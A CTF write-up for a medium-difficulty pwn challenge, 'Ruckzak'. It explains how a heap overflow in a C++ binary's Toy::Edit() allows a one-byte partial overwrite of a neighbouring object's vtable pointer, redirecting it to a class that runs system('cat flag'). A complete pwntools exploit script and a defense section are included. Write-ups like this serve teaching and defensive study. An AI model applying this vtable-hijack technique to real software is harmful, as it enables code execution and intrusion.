79 - Рюкзак (Ruckzak)
79 - Рюкзак (Ruckzak)
Platform: duckerz | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-01-15 | Status: Solved Techniques: partial_overwrite_pie_bypass, type_confusion_attack, vtable_pointer_overwrite
Summary
Task: C++ binary with virtual functions and heap buffer overflow in Edit(). Solution: Overflow from one Toy object to overwrite adjacent Toy vtable pointer with partial overwrite (1 byte) to point to Flag class vtable, triggering system("cat flag") on Display().
79 - Рюкзак (Ruckzak) — DUCKERZ CTF
Description
"Мальчик Витя собирается в поход, подскажи ему какие игрушки ему стоит взять с собой."
("The boy Vitya is going on a hike, tell him which toys he should take with him.")
Files: ruckzak (ELF 64-bit), Dockerfile, docker-compose.yml
Connection: nc tasks.duckerz.ru 30010
Analysis
Binary Protections
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Class Hierarchy
The binary is written in C++ with virtual functions:
| Class | Vtable offset | Key method |
|---|---|---|
| Item | 0x3d70 | base class |
| Toy | 0x3d50 | Display() - prints name |
| Flag | 0x3d30 | Display() - calls system("cat flag") |
Toy Object Structure
Offset 0x00: vtable pointer (8 bytes)
Offset 0x08: name buffer (30 bytes)
Total size: 0x28 (40 bytes)
Program Functionality
- Add toy (option 1) - creates a Toy object via
operator new(0x28 bytes) - Edit toy (option 2) - calls virtual method Edit()
- Show toy (option 3) - calls virtual method Display()
Vulnerability
In the Toy::Edit() function:
cpp read-only • copy allowedvoid Toy::Edit() { cout << "Please enter new name: "; read(0, this->name, 0x80); // BUG: reads 128 bytes into a 30-byte buffer! }
Heap buffer overflow - the function reads 0x80 (128) bytes into a buffer of only 30 bytes, allowing overflow into adjacent heap objects.
Heap Layout
After creating two toys:
[Toy 0: vtable_ptr(8) | name_buffer(30) | padding(2)] <- 40 bytes
[Toy 1: vtable_ptr(8) | name_buffer(30) | padding(2)] <- 40 bytes
Offset from name buffer in Toy 0 to vtable pointer in Toy 1 = 40 bytes.
Exploitation Strategy
- Create two Toy objects at positions 0 and 1
- Edit Toy 0 with an overflowing payload to overwrite Toy 1's vtable pointer
- Change Toy 1's vtable from Toy (0x...d50) to Flag (0x...d30) via partial overwrite
- Call Show on Toy 1 - this triggers Flag::Display() which executes
cat flag
Why Partial Overwrite Works
- PIE randomizes only the upper bits of addresses
- Lower 12 bits (page offset) remain constant
- Flag vtable ends with 0x30, Toy vtable ends with 0x50
- Overwriting just 1 byte is enough to switch the vtable
Toy vtable: 0x5555555??d50
Flag vtable: 0x5555555??d30
^^-- we only change this byte
Solution
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * io = remote('tasks.duckerz.ru', 30010) def add_toy(place, name): io.sendlineafter(b'> ', b'1') io.sendlineafter(b'ruckzak: ', str(place).encode()) io.sendlineafter(b'name: ', name) def edit_toy(place, data): io.sendlineafter(b'> ', b'2') io.sendlineafter(b'ruckzak: ', str(place).encode()) io.sendafter(b'name: ', data) def show_toy(place): io.sendlineafter(b'> ', b'3') io.sendlineafter(b'ruckzak: ', str(place).encode()) # Create two toys add_toy(0, b'AAAA') add_toy(1, b'BBBB') # Payload: 40 bytes padding + 1 byte to change vtable # Changes 0x...d50 (Toy) to 0x...d30 (Flag) payload = b'A' * 40 + b'\x30' edit_toy(0, payload) # Trigger Flag::Display() -> system("cat flag") show_toy(1) io.interactive()
Output
[+] Opening connection to tasks.duckerz.ru on port 30010: Done
Flag is: DUCKERZ{REDACTED}
Techniques
| Technique | Description |
|---|---|
| Heap buffer overflow | Buffer overflow in heap to overwrite adjacent structures |
| Vtable pointer overwrite | Replacing the pointer to the virtual function table |
| Type confusion | Making the program treat an object of one type as another |
| Partial overwrite | Overwriting only the lower bytes to bypass ASLR/PIE |
Defense
To prevent such attacks:
- Check buffer sizes -
read(0, buf, sizeof(buf)) - Use Full RELRO - protect GOT/vtable from overwriting
- Stack canaries - although this is heap overflow, it's a general practice
- CFI (Control Flow Integrity) - protection against vtable hijacking
- ASAN in development - heap overflow detection
References
- C++ Virtual Function Table Exploitation
- Partial Overwrite Technique